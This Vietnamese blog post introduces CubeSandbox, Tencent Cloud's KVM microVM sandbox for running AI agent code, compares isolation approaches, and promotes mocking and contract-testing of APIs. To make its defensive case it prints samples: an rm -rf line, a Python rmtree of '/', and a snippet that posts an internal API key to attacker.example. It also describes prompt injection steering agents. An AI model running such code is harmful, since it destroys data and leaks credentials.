Nếu tác nhân AI của bạn có thể viết mã, nó cũng có thể viết mã sai. Nếu nó có thể gọi công cụ, nó cũng có thể gọi sai công cụ với sai đối số. Cách xử lý không phải là thêm một prompt “thông minh hơn”, mà là đặt một ranh giới cách ly giữa đầu ra của mô hình và máy đang chạy nó. CubeSandbox là một hệ thống được xây dựng cho ranh giới đó: chạy mã tác nhân trong sandbox cách ly phần cứng, phù hợp khi tác nhân bắt đầu chạm vào API, dữ liệu thật và hạ tầng sản xuất.
TL;DR
CubeSandbox là một dịch vụ sandbox mã nguồn mở, cách ly phần cứng từ Tencent Cloud để chạy mã tác nhân AI. Mỗi sandbox có kernel hệ điều hành khách riêng thông qua KVM, khởi động khoảng 60ms và dùng dưới 5MB bộ nhớ phụ. Dự án được cấp phép Apache 2.0 và tương thích với E2B SDK.
Điểm thực tế cần nhớ:
- Dùng sandbox cho mã do model sinh ra, script tạm thời, tool execution và tác vụ không đáng tin cậy.
- Không chỉ cách ly runtime; bạn cũng cần kiểm thử API mà tác nhân được phép gọi.
- Nếu tự host được KVM, CubeSandbox là một lựa chọn microVM đáng thử nghiệm.
- Nếu tác nhân gọi API thật, hãy mock, kiểm thử hợp đồng và kiểm soát egress trước khi chạy production.
Vấn đề: tác nhân chạy mã không đáng tin cậy
Các hệ thống tác nhân hiện nay không chỉ trả lời văn bản. Chúng có thể:
- Sinh script Python rồi thực thi.
- Crawl website, phân tích nội dung và chuyển kết quả sang bước tiếp theo.
- Tải CSV, biến đổi dữ liệu và ghi kết quả.
- Gọi API nội bộ, API thanh toán hoặc công cụ bên thứ ba.
Không có gì đảm bảo mã đó đã được con người review trước khi chạy. Đây là lý do bạn cần sandboxing: thực thi hướng dẫn không đáng tin cậy mà không cấp quyền truy cập vào máy chủ, filesystem, credential hoặc network thật.
Một lỗi SQL có thể gây khó chịu. Nhưng một tác nhân chạy nhầm:
rm -rf /important/path
hoặc làm theo prompt injection ẩn trong một trang web đã crawl có thể trở thành sự cố bảo mật.
Sandbox đặt một ranh giới rõ ràng:
Tác nhân có thể làm việc bên trong môi trường cách ly, có thể hủy bỏ, nhưng không được làm rò rỉ tác động ra ngoài.
Vấn đề thứ hai: tác nhân cũng gọi API và công cụ. Trước khi cho tác nhân gọi API thanh toán hoặc dịch vụ nội bộ từ sandbox, bạn cần chắc chắn API đó hoạt động đúng và tác nhân gọi đúng hợp đồng. Một nền tảng như Apidog giúp mock và kiểm thử endpoint mà tác nhân sẽ gọi, để xác thực hợp đồng trước khi hệ thống tự động điều khiển nó trong sandbox. Nếu bạn đang thiết kế kiến trúc tác nhân, bài viết về kiến trúc AI tác nhân giải thích cách các lớp thực thi và công cụ kết hợp với nhau.
CubeSandbox là gì?
CubeSandbox là một hệ thống sandbox bảo mật để chạy mã tác nhân AI, được Tencent Cloud mở nguồn theo giấy phép Apache 2.0 vào tháng 4 năm 2026. Slogan trên GitHub mô tả mục tiêu của nó: “sandbox tức thì, đồng thời, bảo mật và nhẹ cho tác nhân AI.”
Nó không chỉ là SDK. Đây là một stack sandbox-as-a-service hoàn chỉnh, chủ yếu viết bằng Rust, có thể tự triển khai.
Kiến trúc dựa trên RustVMM và KVM, cùng lớp ảo hóa kernel Linux được nhiều hypervisor đám mây sử dụng. Theo tài liệu dự án và thông báo chính thức, CubeSandbox gồm các thành phần chính:
- CubeAPI: REST gateway mô phỏng giao diện sandbox E2B.
- CubeMaster: cluster orchestrator, lập lịch sandbox trên các node.
- CubeHypervisor và CubeShim: lớp ảo hóa KVM để khởi động và quản lý từng microVM.
- Cubelet và CubeProxy: node-level agent để chạy và định tuyến đến sandbox.
- CubeVS: lớp network dùng eBPF để thực thi cách ly mạng giữa các sandbox ở cấp kernel.
Điểm quan trọng: mỗi sandbox có kernel hệ điều hành khách riêng. Đây là mô hình cách ly mạnh hơn container, vì container chia sẻ kernel của host.
Các số liệu Tencent công bố:
- Cold start khoảng 60ms ở mức đồng thời đơn.
- Trung bình 67ms, P95 khoảng 90ms khi tạo 50 instance đồng thời.
- Dưới 5MB bộ nhớ phụ mỗi instance.
- Có thể chạy hàng nghìn sandbox trên một máy chủ lớn.
- Tài liệu báo chí trích dẫn máy chủ 96 vCPU hỗ trợ hơn 2.000 sandbox đồng thời.
Tencent cũng cho biết CubeSandbox đã chạy ở quy mô lớn trong hạ tầng của họ và MiniMax đã dùng nó cho huấn luyện reinforcement learning tác nhân quy mô lớn trên môi trường không đồng nhất.
Một số tính năng nâng cao, như rollback snapshot cấp sự kiện để checkpoint và khôi phục trạng thái sandbox, vẫn được mô tả là đang phát triển. Hãy coi các mục này là lộ trình, không phải cam kết đã phát hành. Điểm chuẩn độc lập hiện còn hạn chế, vì vậy bạn nên benchmark với workload của riêng mình.
Nguồn chính thức:
Khi nào tác nhân AI cần sandbox?
Hãy thiết kế theo threat model cụ thể thay vì nói chung chung là “bảo mật”. Có ba nhóm rủi ro chính.
1. Mã được tạo có thể sai hoặc nguy hiểm
Model tạo mã mà nó nghĩ là đúng. Nhưng mã đó có thể:
- Xóa nhầm thư mục.
- Ghi file vào vị trí không nên ghi.
- Tạo vòng lặp vô hạn.
- Ăn hết RAM hoặc CPU.
- Gọi lệnh shell không mong muốn.
Ví dụ, tác nhân có thể sinh đoạn Python như sau:
import os
import shutil
target = os.getenv("TARGET_DIR", "/")
shutil.rmtree(target)
Nếu đoạn này chạy trên host thật, rủi ro rất lớn. Nếu chạy trong sandbox dùng một lần, phạm vi thiệt hại được giới hạn.
2. Tool call không đáng tin cậy
Tác nhân gọi công cụ và API dựa trên quyết định của model ở runtime. Nếu model bị ảnh hưởng bởi prompt injection trong tài liệu, website hoặc phản hồi của tool, nó có thể:
- Gọi công cụ phá hủy.
- Truyền đối số do attacker kiểm soát.
- Chuỗi nhiều tool call theo cách bạn không dự định.
- Gửi dữ liệu nhạy cảm sang endpoint bên ngoài.
Model trong trường hợp này không phải actor đáng tin cậy. Nó giống một trình thông dịch cho mọi văn bản đi vào context window.
Bài viết về tác nhân AI như người tiêu dùng API mới phân tích sâu hơn vì sao giả định tin cậy API truyền thống bị phá vỡ khi caller là hệ thống tự động.
3. Rò rỉ dữ liệu
Đây là phần dễ bị đánh giá thấp nhất.
Nếu tác nhân có quyền đọc secret và có network egress, prompt injection có thể yêu cầu nó:
import os
import requests
api_key = os.getenv("INTERNAL_API_KEY")
requests.post("https://attacker.example/collect", json={"key": api_key})
Nếu không lọc egress và không cách ly credential, sandbox gần như vô nghĩa: dữ liệu vẫn thoát ra ngoài.
Vì vậy CubeSandbox không chỉ dùng cách ly cấp kernel, mà còn có CubeVS dùng eBPF để hỗ trợ kiểm soát network giữa các sandbox.
Nguyên tắc thiết kế:
Đừng giả định tác nhân sẽ hành xử đúng. Hãy giả định mọi dữ liệu không đáng tin cậy đi vào context đều có thể điều khiển hành vi của nó.
Để kiểm tra hành vi này trước production, xem hướng dẫn cách kiểm tra tác nhân AI gọi API.
Các mô hình cách ly phổ biến
Không phải sandbox nào cũng giống nhau. Sự khác biệt nằm ở ranh giới cách ly, chi phí runtime và khả năng vận hành.
| Phương pháp | Độ mạnh cách ly | Cold start | Chi phí phụ | Kernel | Ví dụ |
|---|---|---|---|---|---|
| Process + seccomp | Thấp | Tức thì | Rất thấp | Chia sẻ kernel host | Restricted subprocess, nsjail |
| Container | Trung bình | Vài chục ms | Thấp | Chia sẻ kernel host | Docker, containerd |
| MicroVM | Cao | Khoảng 50–150ms | Thấp–Trung bình | Kernel khách riêng | CubeSandbox, Firecracker |
| Application kernel | Cao | Vài chục ms | Thấp–Trung bình | Syscall bị chặn trong user space | gVisor |
| Hosted sandbox API | Cao, được quản lý | Khác nhau | Hạ tầng được quản lý | Tùy nhà cung cấp | E2B, dịch vụ sandbox được host |
Process-level isolation
Bạn chạy mã như một process bị hạn chế bằng:
- seccomp
- dropped capabilities
- namespaces
- cgroups
- filesystem restriction
Đây là phương án nhẹ nhất nhưng yếu nhất. Nó vẫn chia sẻ kernel host. Nếu workload là mã bạn phần lớn tin tưởng, có thể đủ. Với mã do model sinh tùy ý, rủi ro cao hơn.
Container
Docker/containerd quen thuộc và dễ vận hành. Nhưng container vẫn chia sẻ kernel của host. Container escape là một lớp lỗi thực tế đã nhiều lần xuất hiện.
Container phù hợp để đóng gói workload. Nhưng “mã không đáng tin cậy trong container chia sẻ kernel” không phải ranh giới đủ mạnh cho nhiều hệ thống tác nhân.
MicroVM
MicroVM chạy kernel khách tối thiểu trên ảo hóa phần cứng như KVM. Mã tác nhân chạy trong kernel riêng, nên ngay cả lỗi cấp kernel cũng bị giới hạn trong VM dùng một lần, thay vì host.
CubeSandbox thuộc nhóm này. Điểm đánh đổi truyền thống là cold start, nhưng các triển khai hiện đại dùng snapshotting và pre-allocation để giảm thời gian khởi động. CubeSandbox báo cáo cold start dưới 100ms trong các trường hợp đã công bố.
Application kernel
gVisor đi theo hướng khác: chặn syscall trong user space và tự triển khai giao diện giống Linux. Workload không nói chuyện trực tiếp với kernel host.
Cách này cho ranh giới mạnh mà không cần VM đầy đủ, nhưng có thể có đánh đổi về tương thích syscall và hiệu năng.
CubeSandbox khác gì container, Firecracker và E2B?
CubeSandbox có vị trí khá cụ thể:
Cách ly phần cứng, cold start gần cảm giác container, tự host, tương thích E2B.
So với container
Container:
- Chia sẻ kernel host.
- Dễ vận hành.
- Cold start nhanh.
- Không phải ranh giới mạnh nhất cho mã không đáng tin cậy.
CubeSandbox:
- Mỗi sandbox có kernel khách riêng.
- Dùng KVM/microVM.
- Phù hợp hơn cho mã model-generated tùy ý.
- Cần host Linux x86_64 hỗ trợ KVM.
Nếu nền tảng của bạn không expose KVM, ví dụ môi trường cloud không hỗ trợ nested virtualization, bạn cần cân nhắc gVisor hoặc hosted sandbox API.
So với Firecracker
Firecracker là microVM phổ biến cho serverless workload. Nhưng Firecracker là building block cấp thấp.
CubeSandbox cũng dựa trên KVM/RustVMM, nhưng đóng gói ở tầng cao hơn:
- API gateway tương thích E2B.
- Orchestrator.
- Node agent.
- Network isolation bằng eBPF.
- Mô hình dịch vụ sandbox cho tác nhân.
Nếu bạn muốn tự lắp ráp control plane, Firecracker là lựa chọn nền tảng. Nếu bạn muốn một dịch vụ sandbox dạng agent-ready API, CubeSandbox nhắm đến nhu cầu đó.
So với E2B và hosted sandbox
E2B cung cấp sandbox như dịch vụ được quản lý. Bạn gọi API, phần hạ tầng do nhà cung cấp vận hành.
CubeSandbox chọn hướng tự host, nhưng tương thích E2B SDK. Theo tài liệu, bạn có thể trỏ E2B_API_URL về instance CubeSandbox tự host.
Ví dụ cấu hình triển khai ứng dụng:
export E2B_API_URL="https://your-cubesandbox.example.com"
export E2B_API_KEY="your-api-key"
Sau đó code dùng E2B SDK có thể tiếp tục dùng endpoint mới, tùy mức tương thích của triển khai hiện tại.
Quyết định thực tế không chỉ là “dùng sandbox nào”, mà là:
- Bạn muốn managed service hay tự vận hành?
- Dữ liệu có yêu cầu residency không?
- Chi phí ở quy mô lớn thế nào?
- Đội ngũ có thể vận hành KVM/microVM không?
- Bạn có cần kiểm soát network egress ở mức hạ tầng không?
Tóm lại: CubeSandbox là lựa chọn đáng thử nếu bạn cần sandbox tự host, cách ly mạnh, tương thích E2B. Nhưng vì dự án còn mới và benchmark độc lập còn ít, hãy đo bằng workload thật trước khi commit.
Workflow triển khai thực tế cho tác nhân có sandbox
Một pipeline an toàn hơn thường có các bước sau.
Bước 1: Phân loại tool và API
Liệt kê mọi thứ tác nhân có thể chạm vào:
- File system
- Shell command
- Python/Node runtime
- Internal APIs
- Payment APIs
- Database query tools
- Browser/crawler
- MCP servers
- Third-party SaaS APIs
Sau đó phân loại:
| Nhóm | Ví dụ | Chính sách |
|---|---|---|
| Không tin cậy | Code do model sinh, nội dung web crawl | Luôn chạy trong sandbox |
| Nhạy cảm | Payment, user data, internal admin API | Cần allowlist, mock trước, audit log |
| Đọc-only | Public docs, search API | Giới hạn rate và egress |
| Ghi dữ liệu | Database write, email, ticket creation | Cần xác nhận, idempotency và kiểm thử hợp đồng |
Bước 2: Chạy mã trong sandbox dùng một lần
Với mỗi tác vụ code execution, tạo sandbox mới, mount dữ liệu tối thiểu, chạy lệnh, lấy output rồi hủy sandbox.
Pseudo-flow:
1. Receive model-generated code
2. Create sandbox
3. Inject only required input files
4. Run code with timeout and resource limits
5. Collect stdout/stderr/artifacts
6. Destroy sandbox
Các guardrail nên có:
- Timeout bắt buộc.
- Giới hạn CPU/RAM.
- Filesystem tạm.
- Không mount credential mặc định.
- Network egress theo allowlist.
- Log command, exit code và artifact.
Bước 3: Không cấp secret trực tiếp cho model
Tránh đưa secret vào environment mà mã model-generated có thể đọc.
Không nên:
export STRIPE_SECRET_KEY="sk_live_..."
python agent_generated_code.py
Tốt hơn:
- Dùng proxy tool có policy rõ ràng.
- Cấp token ngắn hạn, scope hẹp.
- Không expose secret cho runtime sinh mã.
- Log mọi request đi qua proxy.
Bước 4: Mock API trước khi gọi thật
Sandbox bảo vệ host khỏi tác nhân. Nó không bảo vệ API thật khỏi tác nhân gọi sai.
Ví dụ tác nhân đặt vé du lịch:
Agent -> Sandbox -> Flight API
-> Payment API
-> Internal Calendar API
Ngay cả khi mã chạy an toàn trong CubeSandbox, tác nhân vẫn có thể:
- Gọi payment API với idempotency key sai.
- Gửi dữ liệu đặt vé thiếu field.
- Retry sai cách.
- Diễn giải nhầm response lỗi.
- Ghi lịch sai timezone.
Vì vậy, trước khi cho tác nhân gọi API thật, hãy mock API và kiểm thử hành vi.
Với Apidog, bạn có thể tạo mock server trả về response xác định theo schema. Sau đó trỏ tác nhân trong sandbox vào mock endpoint để kiểm tra cả happy path và failure path.
Ví dụ checklist cho API mà tác nhân gọi:
[ ] Schema request/response rõ ràng
[ ] Có mock response cho success
[ ] Có mock response cho validation error
[ ] Có mock response cho timeout/rate limit
[ ] Có test cho authentication failure
[ ] Có idempotency nếu API tạo side effect
[ ] Có audit log cho tool call
[ ] Có allowlist endpoint
Hướng dẫn về kiểm thử sandbox trình bày thêm cách kiểm thử trong môi trường cách ly và có kiểm soát.
Kết hợp sandboxing với kiểm thử hợp đồng API
Một kiến trúc thực tế nên có hai lớp.
Lớp 1: Cách ly thực thi
Mục tiêu:
- Mã model-generated không phá host.
- Process không đọc filesystem thật.
- Sandbox bị hủy sau khi chạy.
- Network egress bị kiểm soát.
- Tài nguyên bị giới hạn.
Đây là lớp CubeSandbox.
Lớp 2: Xác thực hợp đồng API
Mục tiêu:
- Tác nhân gọi đúng endpoint.
- Request đúng schema.
- Response lỗi được xử lý đúng.
- Không gọi API side-effect ngoài ý muốn.
- Không biến response xấu thành chuỗi lỗi liên hoàn.
Đây là lớp công cụ API.
Một ví dụ test case cho tác nhân gọi API:
{
"scenario": "payment_api_validation_error",
"mock_response": {
"status": 400,
"body": {
"error": "invalid_currency",
"message": "Currency must be one of USD, EUR, VND"
}
},
"expected_agent_behavior": [
"do_not_retry_with_same_payload",
"surface_error_to_user",
"do_not_call_booking_confirmation_api"
]
}
Điểm quan trọng: tác nhân khuếch đại sai lệch hợp đồng. Con người có thể nhận ra response API bất thường. Tác nhân thường chỉ tiếp nhận response và hành động tiếp.
Nếu tác nhân của bạn dùng Model Context Protocol, bài viết kiểm thử MCP server với Apidog mở rộng cùng nguyên tắc sang lớp tool. Nếu bạn đang thiết kế API cho caller tự động, xem thêm thiết kế API cho tác nhân AI.
Các trường hợp sử dụng phù hợp
Code interpreter và tác nhân viết mã
Model sinh và chạy mã để:
- Trả lời câu hỏi phân tích dữ liệu.
- Biến đổi file.
- Vẽ biểu đồ.
- Chạy thử thuật toán.
- Tạo script tạm.
Đây là use case sandbox kinh điển. Vì mã hoàn toàn tùy ý và thay đổi mỗi lần chạy, kernel riêng cho mỗi sandbox là lợi thế lớn.
Nền tảng tác nhân multi-tenant
Nếu nhiều khách hàng chạy tác nhân trên hạ tầng dùng chung, cách ly container giữa tenant có thể chưa đủ.
MicroVM trên mỗi sandbox giúp tạo ranh giới tenant mạnh hơn:
Tenant A agent -> Sandbox A -> isolated guest kernel
Tenant B agent -> Sandbox B -> isolated guest kernel
Tenant C agent -> Sandbox C -> isolated guest kernel
Mật độ được báo cáo của CubeSandbox, hàng nghìn sandbox trên mỗi máy chủ lớn, là yếu tố làm mô hình này khả thi hơn so với VM truyền thống cho từng tenant.
Reinforcement learning cho tác nhân
Huấn luyện tác nhân bằng reinforcement learning yêu cầu chạy rất nhiều rollout ngắn hạn, không đáng tin cậy.
Yêu cầu hạ tầng:
- Tạo sandbox nhanh.
- Hủy sandbox nhanh.
- Chi phí mỗi instance thấp.
- Cách ly đủ mạnh để rollout lỗi không ảnh hưởng node.
- Có thể chạy ở mật độ cao.
Tencent trích dẫn MiniMax đã dùng CubeSandbox cho loại workload này trên môi trường không đồng nhất.
Tác nhân nghiên cứu và dữ liệu
Tác nhân có thể:
- Crawl nội dung bên ngoài.
- Tóm tắt hoặc trích xuất dữ liệu.
- Sinh code xử lý dữ liệu.
- Gọi API hạ nguồn.
Nội dung crawl là không đáng tin cậy và có thể chứa prompt injection. Vì vậy:
- Phân tích và mã sinh ra nên chạy trong sandbox.
- API hạ nguồn nên được mock và kiểm thử trước.
- Egress nên bị giới hạn.
- Credential không nên nằm trong sandbox runtime.
Đây là nơi kết hợp sandbox với kiểm thử hợp đồng API mang lại giá trị rõ ràng nhất.
Plugin hoặc extension không đáng tin cậy
Nếu người dùng có thể cung cấp plugin, script hoặc tool mà tác nhân sẽ chạy, bạn đang thực thi mã bên thứ ba không đáng tin cậy.
Trong trường hợp này, microVM trên mỗi lần thực thi là posture hợp lý, tương tự cách nhiều nền tảng serverless dùng Firecracker để cách ly workload.
Checklist đánh giá CubeSandbox trước khi dùng production
Trước khi chọn CubeSandbox, hãy chạy thử với workload thật và đo các điểm sau:
[ ] Host có hỗ trợ KVM không?
[ ] Cold start thực tế với workload của bạn là bao nhiêu?
[ ] P95/P99 khi tạo nhiều sandbox đồng thời là bao nhiêu?
[ ] Mỗi sandbox dùng bao nhiêu RAM thực tế?
[ ] Giới hạn CPU/RAM có được enforce đúng không?
[ ] Filesystem có bị reset sau mỗi lần chạy không?
[ ] Network egress có allowlist/denylist được không?
[ ] Secret có bị expose vào sandbox không?
[ ] Log có đủ để audit tool call không?
[ ] API tương thích E2B có đáp ứng code hiện tại không?
[ ] Tính năng bạn cần đã release hay còn trong roadmap?
Một benchmark tối thiểu nên gồm:
- Tạo 1 sandbox
- Tạo 50 sandbox đồng thời
- Chạy script CPU-bound
- Chạy script memory-bound
- Chạy script network-bound
- Test timeout
- Test ghi file lớn
- Test outbound request bị chặn
- Test hủy sandbox khi process còn chạy
Kết luận
Sandboxing tác nhân không còn là tùy chọn khi tác nhân bắt đầu thực thi mã và gọi công cụ mà không có review của con người. CubeSandbox là một câu trả lời cụ thể, mã nguồn mở cho phần cách ly runtime của bài toán.
Các điểm chính:
- CubeSandbox là sandbox mã nguồn mở Apache 2.0 của Tencent Cloud cho tác nhân AI, xây dựng trên RustVMM và KVM.
- Mỗi sandbox có kernel khách riêng, mạnh hơn container cho mã model-generated không đáng tin cậy.
- Cold start được báo cáo dưới 100ms và bộ nhớ phụ dưới 5MB, nhưng bạn nên benchmark với workload thật.
- Tương thích E2B SDK giúp giảm chi phí thử nghiệm hoặc migration nếu bạn đã dùng API kiểu E2B.
- Cách ly runtime là cần thiết nhưng chưa đủ: sandbox bảo vệ host khỏi tác nhân, không bảo vệ API thật khỏi tác nhân gọi sai.
- Hãy kết hợp sandbox với kiểm thử hợp đồng API: mock endpoint, kiểm tra schema, lỗi, auth, idempotency và side effect trước khi cho tác nhân chạm production.
Nếu tác nhân của bạn gọi API do bạn sở hữu hoặc phụ thuộc vào, hãy thiết lập lớp hợp đồng song song với lớp cách ly. Tải xuống Apidog để mock các dịch vụ mà tác nhân trong sandbox truy cập và kiểm thử schema, xác thực cùng hành vi lỗi trước khi hệ thống tự động điều khiển chúng trong production.
Top comments (0)